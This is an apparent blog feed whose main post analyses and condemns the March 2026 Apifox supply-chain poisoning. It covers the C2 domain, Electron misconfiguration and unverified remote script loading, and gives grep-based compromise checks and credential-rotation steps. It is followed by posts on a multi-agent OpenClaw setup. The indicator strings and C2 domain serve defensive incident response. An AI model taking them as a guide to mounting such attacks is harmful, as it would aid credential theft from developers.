<h2 id="apifox-">二、Apifox 做了什么？——几乎什么都没做</h2><p>让我们看看时间线：</p><table><thead><tr><th style="text-align:left"> 日期 </th><th style="text-align:left"> 事件 </th></tr></thead><tbody><tr><td style="text-align:left"> <strong>3 月 4 日</strong> </td><td style="text-align:left"> 投毒开始。C2 域名 <code>apifox.it.com</code> 上线，Cloudflare 托管 </td></tr><tr><td style="text-align:left"> <strong>3 月 5 日</strong> </td><td style="text-align:left"> Wayback Machine 存档了 77KB 的投毒版本 </td></tr><tr><td style="text-align:left"> <strong>3 月 12 日 ~ 20 日</strong> </td><td style="text-align:left"> 至少 10 次不同的 Stage-2 载荷被下发，攻击持续迭代升级 </td></tr><tr><td style="text-align:left"> <strong>3 月 22 日</strong> </td><td style="text-align:left"> C2 域名 DNS 下线 </td></tr><tr><td style="text-align:left"> <strong>3 月 23 日</strong> </td><td style="text-align:left"> Apifox 发布 v2.8.19，更新日志写着：&quot;移除在线加载 JS 文件，改成内置&quot; </td></tr><tr><td style="text-align:left"> <strong>3 月 25 日</strong> </td><td style="text-align:left"> 安全社区全面曝光。Apifox 在被动压力下发布微信公众号声明 </td></tr></tbody></table><p>看到问题了吗？</p><p><strong>在 3 月 23 日，Apifox 已经知道了这件事。</strong> 他们默默地在新版本中将远程加载的 JS 改为本地内置——这个改动本身就是对投毒事件的直接修复。但他们做了一个选择：<strong>不发安全公告。不通知用户。不建议轮换密钥。什么都不说。</strong></p><p>他们的如意算盘很简单：悄悄改了，只要没人发现，就当什么都没发生过。</p><p>这不是&quot;响应不及时&quot;的问题，这是<strong>蓄意隐瞒安全事故</strong>。</p><p>在 V2EX 的讨论帖中，用户 <a href="https://www.v2ex.com/t/1201146#reply56">@nicoljiang</a> 一针见血地指出：&quot;特别严重的一个问题，他们在 23 号的时候选择完全不提示用户电脑中数据安全的风险。&quot;</p><p>从 3 月 23 日到 3 月 25 日安全社区自发曝光，<strong>整整两天</strong>，成千上万的开发者的 SSH 密钥、Git Token、K8s 集群凭证处于已泄露但完全不知情的状态。这两天里：</p><ul><li>攻击者可能正在用你的 SSH 密钥登录你的生产服务器</li><li>攻击者可能正在用你的 K8s OIDC Token 接管你的集群</li><li>攻击者可能正在用你的 npm Token 向你的包注入恶意代码</li><li>而你，还以为升级到 v2.8.19 就万事大吉了</li></ul><h2 id="electron-">三、技术根因：Electron 安全配置的原罪</h2><p>让我们深入技术层面，看看 Apifox 在架构设计上犯了哪些不可原谅的低级错误。</p><h3 id="31--sandbox--context-isolation">3.1 未启用 Sandbox 模式，且缺失 Context Isolation</h3><p>Apifox 基于 Electron 开发，但<strong>未严格启用 <code>sandbox</code> 参数</strong>，并暴露了 Node.js 的 API 接口给渲染进程。更致命的是，从攻击链的行为来看，其渲染进程极大概率<strong>也未启用 <code>contextIsolation</code>（上下文隔离）</strong>。</p><p>这意味着什么？</p><ul><li><strong>Sandbox 缺失</strong>：渲染进程中的 JavaScript 代码可以直接调用 <code>require(&#x27;fs&#x27;)</code>、<code>require(&#x27;child_process&#x27;)</code> 等 Node.js 核心模块——一段 JS 代码就能读写你的文件系统、执行 Shell 命令、完全控制你的操作系统。</li><li><strong>Context Isolation 缺失</strong>：preload 脚本注入的 API 与网页上下文共享同一个 JavaScript 运行环境。攻击者可以通过原型链污染（Prototype Pollution）等手段，覆盖或劫持 preload 暴露的桥接函数，从而绕过任何&quot;桥接层&quot;的安全假设，直接触及底层 Node.js 能力。</li></ul><p>在 Electron 安全最佳实践中，这两条是<strong>第一优先级，也是最基本的两条</strong>：</p><blockquote><p>&quot;Enable Process Sandboxing. Chromium&#x27;s sandbox provides a security layer that makes it so that renderer processes cannot do anything nefarious.&quot;</p><p>&quot;Enable Context Isolation. Context Isolation ensures that both your preload scripts and Electron&#x27;s internal logic run in a separate context to the website you load.&quot;</p><p>—— Electron Security Best Practices</p></blockquote>
<p>Sandbox 是&quot;物理围墙&quot;，Context Isolation 是&quot;逻辑护城河&quot;。Apifox 两道防线全部形同虚设。这不是什么高深的安全知识——这是 Electron 官方文档首页写着的东西，是每一个 Electron 开发者在创建 <code>BrowserWindow</code> 时都应该审视的 <code>webPreferences</code> 配置项：</p><pre class="language-javascript lang-javascript"><code class="language-javascript lang-javascript">// 这是 Electron 官方推荐的最低安全配置
// Apifox 显然没有做到
const win = new BrowserWindow({
  webPreferences: {
    sandbox: true,            // Apifox: ❌ 未启用
    contextIsolation: true,   // Apifox: ❌ 极大概率未启用
    nodeIntegration: false,   // Apifox: ❌ 实际上暴露了 Node.js API
  }
})
</code></pre>
<p>当这三个开关全部处于错误状态时，你的 Electron 应用本质上就是一个<strong>拥有操作系统最高权限的浏览器——任何能在页面中执行的 JS，都等同于在你的终端中执行 <code>bash</code></strong>。而 Apifox 恰好还从远程 CDN 动态加载未经校验的 JS 文件，这相当于主动为攻击者搭好了通往你 <code>~/.ssh/</code> 的高速公路。</p><h3 id="32--js-">3.2 远程加载未校验的 JS 文件</h3><p>Apifox 在启动时从 CDN 动态加载一个外部 JS 文件用于事件追踪，但<strong>没有实施 Subresource Integrity (SRI) 校验</strong>。也就是说，只要 CDN 上的文件被篡改，客户端就会毫无质疑地加载执行。</p><p>对于一个安装在数万开发者工作电脑上、拥有文件系统和 Shell 执行权限的桌面应用来说，<strong>从远程动态加载未经完整性校验的 JS 文件</strong>，这是一个安全意识为零的设计决策。</p><pre class=""><code class="">// 这就是 Apifox 启动时做的事情
// 从 CDN 加载一个 JS 文件，然后直接执行
// 没有 SRI hash 校验，没有签名验证，什么都没有
loadScript(&#x27;https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js&#x27;)
// 你的 SSH 密钥的命运，取决于这个 URL 背后的内容是否被篡改
</code></pre>
<p>让我做一个类比：这就好比你每天早上起床，会自动打开家门，让一个陌生人进来在你的电脑上运行任意程序——而你唯一的安全保障，是&quot;这个陌生人昨天看起来是好人&quot;。</p><h3 id="33--cdn-">3.3 缺乏 CDN 文件完整性监控</h3><p>在整个攻击活跃的 18 天里，Apifox 显然没有任何机制来检测自己 CDN 上的文件是否被篡改。一个从 34KB 膨胀到 77KB 的文件，体积变化超过 <strong>126%</strong>，在任何基础的文件完整性监控系统中都应该触发告警。</p><p>但 Apifox 没有。</p><h2 id="">四、道德拷问：国产软件的&quot;鸵鸟安全学&quot;</h2><p>Apifox 的处理方式暴露了一个在国产软件行业中普遍存在但鲜少被正面批评的问题：<strong>当安全事故发生时，&quot;掩盖&quot;是第一反应，而不是&quot;保护用户&quot;。</strong></p><h3 id="41-">4.1 信息不对称的恶意利用</h3><p>Apifox 在 3 月 23 日修复了问题，但选择不通知用户。这背后的逻辑是：</p><ul><li>如果我告诉用户，用户会恐慌，媒体会报道，品牌受损</li><li>如果我不告诉用户，也许没人会发现，事情就过去了</li></ul><p>这个逻辑的问题在于：<strong>你在用用户的安全，去赌你自己的名声。</strong></p><p>在已知用户的 SSH 密钥、Git 凭证、K8s 配置可能已经泄露的情况下，不通知用户进行密钥轮换，就是在拿用户的生产环境、源代码仓库、甚至整个公司的基础设施安全做赌注。这不是&quot;公关失误&quot;，这是<strong>对用户信息安全权的主动侵害</strong>。</p><h3 id="42-">4.2 &quot;供应链攻击&quot;不是免责金牌</h3><p>在 Apifox 迟来的公告中，他们将自己定位为&quot;受害者&quot;——&quot;我们也是被攻击的一方&quot;。是的，从技术角度看，CDN 文件被篡改确实是一种外部攻击。但问题是：</p><ol start="1"><li><strong>你的 Electron 没有启用 sandbox</strong>——这是你的锅</li><li><strong>你从远程加载 JS 不做 SRI 校验</strong>——这是你的锅</li><li><strong>你没有 CDN 文件完整性监控</strong>——这是你的锅</li><li><strong>你发现后选择隐瞒</strong>——这更是你的锅</li></ol><p>用一个不恰当但准确的比喻：你家的门锁是坏的，窗户是敞开的，监控是关着的，小偷进来了。你确实是被偷了，但你不能因此就说自己没有任何责任——<strong>特别是当你知道小偷来过之后，选择不告诉你的室友，让他们继续用那把被复制过的钥匙。</strong></p><h3 id="43-">4.3 行业对比：负责任的安全披露</h3><p>让我们看看在同类事件中，国际企业是怎么做的：</p><ul><li><strong>2020 年 SolarWinds 供应链攻击</strong>：发现后立即发布安全公告，推送紧急补丁，并配合 CISA 进行全面调查</li><li><strong>2021 年 Codecov Bash Uploader 投毒</strong>：发现后 72 小时内通知所有受影响用户，并提供详细的凭证轮换指南</li><li><strong>2024 年 xz-utils 后门</strong>：社区发现后数小时内，所有主要发行版同步发布公告和修复</li></ul><p>而 Apifox 的做法是：<strong>悄悄修复，闭口不谈，直到社区自己把事情挖出来。</strong></p><p>这不是中外企业的&quot;文化差异&quot;。这是<strong>基本职业道德的差距</strong>。</p><h2 id="">五、更深层的问题：国产开发工具的信任危机</h2><p>这次事件不是孤例。它折射出整个国产软件生态中一系列令人不安的结构性问题。</p><h3 id="51-electron-">5.1 Electron 应用的安全意识普遍缺失</h3><p>在国产桌面应用中，Electron 几乎是默认的技术栈。但绝大多数国产 Electron 应用，在安全配置上都处于&quot;能跑就行&quot;的状态。不启用 sandbox、不启用 contextIsolation、在渲染进程暴露 Node.js API——这些在 Electron 安全手册中被标注为 <strong>CRITICAL</strong> 的配置项，在国产应用中几乎是常态。</p><p>Apifox 只是这个问题被引爆的第一个。它不会是最后一个。</p><h3 id="52-">5.2 &quot;用户增长优先，安全以后再说&quot;</h3><p>在国内开发工具的竞争格局中（Apifox vs ApiPost vs 其他），产品经理关心的是 DAU、是功能迭代速度、是能不能在下一轮融资中讲一个更好的故事。安全？那是安全团队的事。等出了事再说。</p><p>这种优先级排序的结果就是：你作为一个开发者，在调试你的 API 的时候，你的 SSH 私钥正在被打包上传到一个 Cloudflare 后面的 C2 服务器。</p><h3 id="53-">5.3 缺失的安全审计文化</h3><p>在海外的 API 开发工具生态中，Postman 有公开的 SOC 2 Type II 合规报告，Insomnia 有开源的代码库可供社区审计。而在国产同类产品中，安全审计报告？不存在的。漏洞响应流程？没公开过。Bug Bounty 计划？想都别想。</p><p>用户被迫在一个完全不透明的黑盒中，将自己最敏感的开发环境暴露出去。然后在某一天早上醒来，发现自己的 GitHub 在睡眠时间多了一堆 security log——就像 V2EX 上那位用户说的那样。</p><h2 id="">六、我们该怎么做：夺回数字主权</h2><p>作为一个长期倡导&quot;数字主权&quot;和&quot;本地优先&quot;的技术写作者，我必须说：<strong>这次事件再次验证了一个残酷但必要的认知——在 2026 年，将系统执行权限交给一个不透明的第三方 SaaS 桌面应用，是一种不负责任的行为。</strong></p>
<h3 id="61-">6.1 立即行动清单</h3><p>如果你在 2026 年 3 月 4 日至 3 月 22 日期间打开过 Apifox 桌面端：</p><blockquote><p><strong>⚠️ 免责声明</strong>：以下检测命令通过在 LevelDB 二进制文件中搜索特征字符串来判断是否中招。由于 LevelDB 的存储格式特性（压缩、合并、垃圾回收），二进制文件中的特征字符串<strong>可能已被清理或覆盖</strong>，导致假阴性（实际中招但未检出）。反之，在极端边缘情况下也存在假阳性的可能。<strong>因此，如果你在受影响时间窗口内使用过 Apifox 桌面端，无论检测结果如何，都强烈建议按照下方的轮换清单执行全量凭证轮换。宁可多换一次密钥，也不要赌自己是幸运的那一个。</strong></p></blockquote>
<pre class="language-bash lang-bash"><code class="language-bash lang-bash"># 1. 检测是否中招（注意：二进制文件检测存在假阴性风险，结果仅供参考）
# macOS:
grep -arlE &quot;rl_mc|rl_headers&quot; ~/Library/Application\ Support/apifox/Local\ Storage/leveldb

# Linux:
grep -arlE &quot;rl_mc|rl_headers&quot; ~/.config/apifox/Local\ Storage/leveldb

# Windows PowerShell:
Select-String -Path &quot;$env:APPDATA\apifox\Local Storage\leveldb\*&quot; -Pattern &quot;rl_mc&quot;,&quot;rl_headers&quot; -List

# 2. 无论是否检测到，都建议执行以下操作：
# 轮换 SSH 密钥
cd ~/.ssh &amp;&amp; ls -la  # 先查看有哪些密钥
# 为每个密钥生成新的替代品，并在所有服务器上更新 authorized_keys

# 3. 吊销并重新生成 Git Token
# GitHub: Settings → Developer settings → Personal access tokens → 全部 Revoke
# GitLab: 同理

# 4. 轮换 K8s 凭证
# kubectl config view → 逐一检查并轮换

# 5. 轮换 npm Token
npm token revoke &lt;token-id&gt;
npm token create

# 6. 检查 .zsh_history / .bash_history 中暴露的所有明文密码和 Token
# 是的，如果你曾经在命令行中输入过密码，它们可能已经泄露了
</code></pre>
<h3 id="62-">6.2 长期策略：拒绝不透明的工具</h3><ul><li><strong>优先选择开源工具</strong>：Bruno、Insomnia（开源版）、Hoppscotch。代码可审计，安全性可验证。</li><li><strong>API 文档生成用声明式方案</strong>：用 OpenAPI spec + Scalar / Swagger UI 替代重客户端，浏览器刷新即最新版本，攻击面小数个数量级。</li><li><strong>开发工具的网络隔离</strong>：如果必须使用闭源桌面工具，通过防火墙规则限制其出站连接白名单。</li><li><strong>定期审计 Electron 应用的行为</strong>：用 Little Snitch（macOS）或类似工具监控桌面应用的网络请求。</li></ul><h3 id="63--apifox-">6.3 对 Apifox 的明确要求</h3><ol start="1"><li><strong>公开完整的事件调查报告</strong>，包括 CDN 是如何被入侵的、影响的精确范围、以及为什么选择在 3 月 23 日不通知用户</li><li><strong>建立公开透明的安全响应流程（Security Response Policy）</strong></li><li><strong>启用 Electron Sandbox 并实施 SRI 校验</strong>——这是最低限度的技术修复</li><li><strong>为受影响用户提供具体的补偿和支持措施</strong></li></ol><h2 id="">七、供应链攻击不是原罪，沉默才是</h2><p>我想在结尾之前说一段可能不那么&quot;技术&quot;但绝对必要的话。</p><p><strong>供应链攻击本身是不可能被完全避免的。</strong> 这一点我作为一个安全意识极强的从业者，必须诚实地承认。SolarWinds 被打穿过，Codecov 被打穿过，连 Linux 内核的上游依赖 xz-utils 都差点被植入后门。供应链攻击是整个软件工程行业的结构性难题，没有任何一家公司可以拍着胸脯说&quot;我绝对不会被攻击&quot;。</p><p>如果 Apifox 在发现问题的第一时间——哪怕是 3 月 23 日悄悄修复的那一刻——立即向所有用户推送安全告警，说&quot;我们遭受了供应链攻击，以下是受影响范围，请立即轮换你的凭证&quot;，那么今天这篇文章的基调会完全不同。我会写&quot;Apifox 遭遇供应链攻击，但其应急响应值得肯定&quot;。我甚至会在文末呼吁大家继续支持他们。</p><p><strong>但他们没有。</strong></p><p>他们选择了沉默。他们选择了祈祷。他们选择了用两天的时间去赌——赌社区不会发现，赌媒体不会报道，赌他们可以用一个不起眼的更新日志条目把整件事埋进历史。</p><p><strong>这种沉默，是对每一个将开发环境托付给你的用户的背叛。</strong></p><p>被攻击是不幸，但可以被原谅。被攻击之后的沉默，是选择，是决策，是有人坐在会议室里权衡了&quot;品牌形象&quot;和&quot;用户安全&quot;之后，做出的冷血取舍。</p><p>而这个取舍的结果是：在 Apifox 沉默的那 48 小时里，攻击者手中握着的不只是一堆加密数据包——他们握着的是通往无数开发者生产服务器的钥匙、通往企业内网的隧道、通往开源生态的投毒路径。每多沉默一小时，这些钥匙被使用的概率就多一分。</p><p><strong>在安全事件响应中，沉默的每一秒都在给攻击者续命。</strong></p><p>所以我要把这句话单独拎出来，加粗，放大，钉在这里：</p><blockquote><p><strong>供应链攻击无法完全避免，但发现后的沉默是不可原谅的背叛。前者是技术的局限，后者是人性的溃败。</strong></p></blockquote>
<h2 id="">结语：安全不是功能，是底线</h2><p>在写这篇文章的时候，我反复想起自己在 OpenClaw 部署系列文章中写过的一句话：</p><blockquote><p>&quot;真正的极客主权，始于对每一行配置的绝对掌控。&quot;</p></blockquote>
<p>这句话在 Apifox 事件之后，有了更加沉重的分量。当你把 SSH 密钥、Git 凭证、K8s 集群配置这些&quot;数字生命线&quot;暴露在一个不做 sandbox、不做 SRI 校验、出事之后选择沉默的应用面前，你其实是在将自己最核心的基础设施主权，交给了一个你无法审计、也显然不值得信任的第三方。</p><p>Apifox 欠每一个受影响的开发者一个交代。而整个国产软件行业，也需要正视这个不舒服但必要的问题：</p><p><strong>你的用户不是你的赌注。安全事故的第一反应应该是保护用户，而不是保护品牌。</strong></p><p>当一家公司在知晓安全事故后选择沉默，它就不再只是&quot;受害者&quot;——它成为了<strong>帮凶</strong>。</p><hr/><p><em>本文基于安全研究员 @白帽酱（rce.moe）的完整技术分析、蓝点网报道、V2EX / Linux.do 社区讨论整理。技术细节引用已尽可能交叉验证。如有事实性错误，欢迎指正。</em></p><p><a href="https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/">白帽酱-Apifox 供应链投毒攻击 — 完整技术分析</a></p>
<p><a href="https://www.landiannews.com/archives/112328.html">重大安全播报！Apifox遭遇投毒 请使用该平台的开发者立即轮换所有密钥</a></p>
<p><a href="https://linux.do/t/topic/1814697/14">Apifox 供应链投毒攻击 2026.3.25</a></p>
<p><a href="https://www.v2ex.com/t/1201146#reply56">Apifox 遭受供应链攻击</a></p>
<p><a href="https://linux.do/t/topic/1812848">Apifox 供应链投毒攻击</a></p>
<p><a href="https://linux.do/t/topic/1814546/21">大家赶紧自查下 apifox</a></p></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/ink_gone/Apifox-Supply-Chain-Attack%3A-Security-Failure-and-the-Ethics-of-Silence#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/ink_gone/Apifox-Supply-Chain-Attack%3A-Security-Failure-and-the-Ethics-of-Silence</link><guid isPermaLink="true">https://ctexthuang.com/posts/ink_gone/Apifox-Supply-Chain-Attack%3A-Security-Failure-and-the-Ethics-of-Silence</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Thu, 26 Mar 2026 02:38:11 GMT</pubDate></item><item><title><![CDATA[基于 SOUL.md 的多代理流水线协作与 Discord 全感知指挥中心]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/ink_gone/Agentic-Orchestration%3A-Building-a-Multi-Agent-Pipeline-via-SOUL.md-and-Workspace-Isolation">https://ctexthuang.com/posts/ink_gone/Agentic-Orchestration%3A-Building-a-Multi-Agent-Pipeline-via-SOUL.md-and-Workspace-Isolation</a></blockquote><div><p>在完成了基础设施的“钢筋混凝土”工程（第一篇）后，我们正式进入 OpenClaw 最令人着迷的领域：<strong>多智能体编排（Agentic Orchestration）</strong>。</p><p>在 2026 年，所谓的“个人 AI”不应再是一个全能但平庸的聊天机器人，而应是一个由专家组成的“北斗七星”团队 。对于硬核极客而言，这套架构的精髓在于：<strong>利用物理隔离的工作空间（Workspace）切断上下文噪音，并利用 <code>SOUL.md</code> 定义的移交（Handoff）协议，让 Agent 之间实现像生产流水线一样的自主协同。</strong></p><h3 id="-workspace-">一、 物理层隔离：Workspace 与存储边界的确定性逻辑</h3><p>在您的 <code>agents.list</code> 配置中，每个代理（天枢、天璇、天玑、玉衡、摇光）都拥有物理隔离的路径（如 <code>/Users/hallo/.openclaw/workspace_tianshu</code>）。这种“一代理一目录”的设计是流水线协作的物理基础。</p><h4 id="1-">1. 为什么要坚持物理隔离？</h4><ul><li><strong>消除“上下文膨胀”</strong>：如果所有 Agent 共享一个目录，天枢（调度员）的闲聊日志会作为背景噪音进入天玑（程序员）的代码生成上下文，导致模型推理深度受限。</li><li><strong>权限分级管控</strong>：您可以为“天玑”赋予读写脚本的权限，而将“玉衡”强制锁定在只读模式，实现了最小权限原则。</li><li><strong>记忆纯净度</strong>：每个 Agent 维护自己的 <code>MEMORY.md</code>。天枢记得您的交互偏好，天玑记得项目的库依赖，彼此互不干扰。</li></ul><h3 id="--soulmd-">二、 核心灵魂：基于 SOUL.md 的“思想钢印”与协作协议</h3><p>各 Agent 如何实现流水线作业？其核心在于对每个工作空间内的 <code>SOUL.md</code> 进行逻辑编排。我们不再通过复杂的代码写死逻辑，而是通过 <strong>Handoff 移交协议</strong> 进行触发。</p><h4 id="1--tianshu---the-orchestrator">1. 天枢 (Tianshu) —— 首席调度官 (The Orchestrator)</h4><ul><li><p><strong>模型</strong>：MiniMax-M2.5 (Baishan 节点，200k Context)。</p></li><li><p><strong>职责</strong>：作为 Discord 的“唯一全感知者”（<code>requireMention: false</code>），它静默监听频道对话并识别需求。</p></li><li><p><strong>SOUL.md 协作逻辑示例</strong>：</p><blockquote><p>“你不仅是 AI，你是北斗团队的指挥官。当你识别到用户的‘开发’需求时，严禁自行写代码。你必须唤起【玉衡】进行架构评审。在收到【玉衡】的 <code>PROPOSAL.md</code> 之前，你仅负责稳住用户情绪并确认需求边界。”</p></blockquote>
</li></ul><h4 id="2--yuheng---the-architect">2. 玉衡 (Yuheng) —— 逻辑博弈专家 (The Architect)</h4><ul><li><p><strong>模型</strong>：DeepSeek-V3.2 (Volcengine 节点，高推理力)。</p></li><li><p><strong>职责</strong>：将模糊的自然语言转化为确定性的技术架构。</p></li><li><p><strong>SOUL.md 协作逻辑示例</strong>：</p><blockquote><p>“你是首席架构师。你的唯一产出是工作区内的 <code>PROPOSAL.md</code>。基于【天枢】转发的任务，你必须列出受影响的文件列表和具体的改动逻辑。完成后，主动向【天玑】发送指令：‘架构已就绪，请按 PROPOSAL.md 执行具体实现’。”</p></blockquote>
</li></ul><h4 id="3--tianji---the-builder">3. 天玑 (Tianji) —— 代码执行官 (The Builder)</h4><ul><li><p><strong>模型</strong>：Ark-Code-Latest (针对代码逻辑极致优化)。</p></li><li><p><strong>职责</strong>：在本地文件系统中落地代码。</p></li><li><p><strong>SOUL.md 协作逻辑示例</strong>：</p><blockquote><p>“你是纯粹的代码执行单元。除非收到【玉衡】的 Handoff 信号，否则保持静默。一旦接收，利用 <code>write</code> 和 <code>apply_patch</code> 工具在本地 Workspace 落地代码。完成后，在 Discord 中 @天枢 汇报任务闭环。”</p></blockquote>
</li></ul><h3 id="-agent-teams-rfc-10036--mailbox">三、 Agent Teams (RFC 10036) 的底层实现：原子任务池与 Mailbox</h3><p>为了支撑高频协作，OpenClaw 在 2026 年引入了 <strong>Agent Teams</strong> 协议。这套协议将“文件级协作”提升到了“系统级状态管理” 。</p><h4 id="1--tasksjson">1. 原子认领机制 (<code>tasks.json</code>)</h4><p>在架构中，所有团队成员观测 <code>~/.openclaw/teams/{teamId}/tasks.json</code>。</p><ul><li><strong>防冲突锁</strong>：当“天枢”写入一个 <code>status: &quot;pending&quot;</code> 的任务时，天玑会通过文件级原子锁定（File Locking）抢占该任务，将其状态改为 <code>claimed</code>。这避免了两个 Agent 同时修改同一份代码导致的冲突 。</li></ul><h4 id="2-mailbox-">2. Mailbox 异步通讯</h4><p>传统的 <code>sessions_spawn</code> 要求父进程等待子进程返回。但在复杂开发中，天玑可能需要耗时 10 分钟生成代码。</p><ul><li><strong>持久化信箱</strong>：玉衡发给天玑的消息存放在物理信箱中。即使天玑因为大上下文溢出导致 Session 重启，它依然能从信箱中找回任务上下文，实现了多代理协作的“容灾能力” 。</li></ul><h3 id="-discord-bot-">四、 Discord 指挥中心的战术配置：破解“Bot 战争”循环</h3><p>在 Discord 频道中，如何实现代理间高频对话而不烧光 Token？秘密在于 <code>allowBots</code> 与 <code>requireMention</code> 的精密配合 。</p><h4 id="1-bot-">1. 破解“Bot 循环”魔咒</h4><p>默认情况下，OpenClaw 会忽略来自 Bot 的消息。为了让“天枢”听见“天玑”的汇报，我们必须在 <code>channels.discord</code> 中设置：</p><pre class="language-json lang-json"><code class="language-json lang-json">&quot;discord&quot;: {
  &quot;allowBots&quot;: &quot;mentions&quot;, // 关键：仅响应被明确 @ 提及的 Bot 消息 
  &quot;accounts&quot;: {
    &quot;tianshu&quot;: { &quot;token&quot;: &quot;...&quot;, &quot;groupPolicy&quot;: &quot;allowlist&quot; },
    &quot;tianxuan&quot;: { &quot;token&quot;: &quot;...&quot;, &quot;groupPolicy&quot;: &quot;allowlist&quot; }
  }
}
</code></pre>
<p><strong>技术要点</strong>：使用 <code>&quot;mentions&quot;</code> 而非 <code>true</code>。这确保了 Agent 只有在被同伴明确点名（如 @天璇）时才会响应，完美解决了“Bot 之间互相无意义接话”导致的 Token 熔断风险。</p><h4 id="2-">2. 全感知作战室策略</h4><p>在频道级别，我的配置采用了 <strong>“全感知监听”</strong> 模式：</p><pre class="language-json lang-json"><code class="language-json lang-json">&quot;guilds&quot;: {
  &quot;1477151444422496258&quot;: {
    &quot;channels&quot;: {
      &quot;1479779083008081920&quot;: {
        &quot;allow&quot;: true,
        &quot;requireMention&quot;: false // 天枢在此频道无需 @ 即可感知上下文
      }
    }
  }
}
</code></pre>
<ul><li><strong>调度官全感知</strong>：由于天枢 <code>requireMention: false</code>，它能看到用户在这个频道说的每一句话，从而判断何时该主动介入启动流水线。</li><li><strong>专家级被动触发</strong>：为了保持频道清洁，所有专家代理（天璇、玉衡）务必保持 <code>requireMention: true</code>，它们就像特种兵，只有收到指挥官的 @ 才会出击。</li></ul><h3 id="--pipeline-">五、 实战场景：一个完整的“北斗七星” Pipeline 运转过程</h3><p>让我们看看当我在 Discord 发送一条指令时，后台发生了什么：</p><ol start="1"><li><strong>需求感知</strong>：我在 Discord 发送：“帮我用 Python 写一个监控本地 18789 端口并在宕机时发送邮件的脚本”。</li><li><strong>调度触发</strong>：<strong>天枢</strong>（MiniMax）读取上下文（无需被 @），识别到开发需求。它读取 <code>SOUL.md</code> 中的移交协议，调用 <code>sessions_spawn</code> 唤起 <strong>玉衡</strong>。</li><li><strong>架构评审</strong>：<strong>玉衡</strong>（DeepSeek）接棒。它发现本地没有配置发信服务器，于是在 <code>tasks.json</code> 中增加了一个“配置 SMTP”的前置任务，并输出 <code>PROPOSAL.md</code>。</li><li><strong>跨代理 Handoff</strong>：玉衡调用 <code>sessions_send</code> 向 天玑（Ark-Code）发送信号：<em>“架构已就绪，请在 workspace_tianji 下生成 monitor.py”</em>。</li><li><strong>落地执行</strong>：天玑收到被 @ 的消息，启动 <code>write</code> 工具。由于它的工作区与玉衡物理隔离，它能产生最干净的代码，不受之前的讨论噪音干扰。</li><li><p><strong>结果收口</strong>：天玑在 Discord 频道 @天枢 ：“任务已完成”。天枢最后向用户回复总结。</p></li></ol><h3 id="-">六、 安全治理与观察性挑战</h3><p>虽然流水线极大地提升了自动化上限，但多代理系统的治理必须有硬性约束。</p><h4 id="1--dmscope">1. 会话隔离 (dmScope)</h4><p>配置 <code>dmScope: &quot;per-account-channel-peer&quot;</code>。这确保了如果您在 Discord、Telegram 和飞书同时启动三条流水线，它们之间的内存和对 <code>MEMORY.md</code> 的写入动作是物理级并行的，绝对不会产生跨平台的数据污染 。</p><h4 id="2-">2. 指令脱敏</h4><p>通过 <code>gateway.nodes.denyCommands</code> 锁定摄像头和屏幕录制权限，这是防止 AI 流水线在自主执行过程中侵犯您物理隐私的最后一道物理锁。</p><h3 id="">结语：构建你的分布式智能网格</h3><p>通过这一套基于 <strong>手动编排 -&gt; 物理空间隔离 -&gt; SOUL 协作协议</strong> 的方案，我们已经将一台普通的 Mac 转化为了一个高吞吐、多专长、且具备主权意志的“代理操作系统”。</p><p>在这个架构中，<strong>天枢是感知触角，玉衡是逻辑大脑，天玑是灵巧双手</strong>。这种不依赖任何第三方 SaaS 平台、完全运行在本地 18789 端口之上的“北斗七星”网格，正是未来十年个人计算模式的最终进化方向。</p></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/ink_gone/Agentic-Orchestration%3A-Building-a-Multi-Agent-Pipeline-via-SOUL.md-and-Workspace-Isolation#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/ink_gone/Agentic-Orchestration%3A-Building-a-Multi-Agent-Pipeline-via-SOUL.md-and-Workspace-Isolation</link><guid isPermaLink="true">https://ctexthuang.com/posts/ink_gone/Agentic-Orchestration%3A-Building-a-Multi-Agent-Pipeline-via-SOUL.md-and-Workspace-Isolation</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Mon, 16 Mar 2026 08:23:00 GMT</pubDate></item><item><title><![CDATA[基础设施之上的数字主权—macOS 环境下的 OpenClaw 纯净手动部署与全渠道深度集成]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/ink_gone/Mastering-Agentic-OS%3A-A-Manual-Architecting-Guide-for-OpenClaw-Gateway">https://ctexthuang.com/posts/ink_gone/Mastering-Agentic-OS%3A-A-Manual-Architecting-Guide-for-OpenClaw-Gateway</a></blockquote><div><p>在 2026 年的 AI 范式中，我们正经历从“对话式 AI”向“代理式操作系统（Agentic OS）”的范式演进 。如果您还在依赖所谓的一键脚本或黑盒安装包来运行 OpenClaw，那你其实是在将最高级别的系统执行权限交给一段未曾审阅的代码 。</p><p>真正的极客主权，始于对 <code>~/.openclaw/openclaw.json</code> 每一行配置的绝对掌控。本文将基于 macOS 环境，深挖如何手动编排一个高吞吐、多模型冗余且具备物理隔离能力的 AI 网关。</p><h3 id="-nodejs-v22-">一、 运行时环境的严苛锁定：Node.js v22 与异步性能底座</h3><p>OpenClaw 核心网关是一个高性能的异步系统，其对底层引擎的要求不仅是“能跑”，而是需要利用 V8 引擎最新的异步资源管理特性 。</p><h4 id="1--nodejs-v22">1. 为什么必须锁定 Node.js v22？</h4><p>根据 OpenClaw <code>2026.3.2</code> 版本的运行规范，Node.js v22 是目前适配其“双向长连接（WebSocket）”并发处理能力的最优环境 。在 Apple Silicon（M1-M5 系列）的统一内存架构下，Node 22 提供了更稳定的分代回收逻辑，这对于需要长期驻留后台且频繁进行大规模上下文读写的网关至关重要 。</p><h4 id="2-">2. 纯净手动安装实践</h4><p>拒绝使用任何可能污染环境变量的自动工具，我们通过 <code>brew</code> 手动锁定：</p><pre class="language-bash lang-bash"><code class="language-bash lang-bash"># 强制指定版本安装
brew install node@22
# 验证环境：必须输出 v22.13.0 或更高版本
node -v 
# 手动全局安装 OpenClaw 核心包
npm install -g openclaw@latest 
</code></pre>
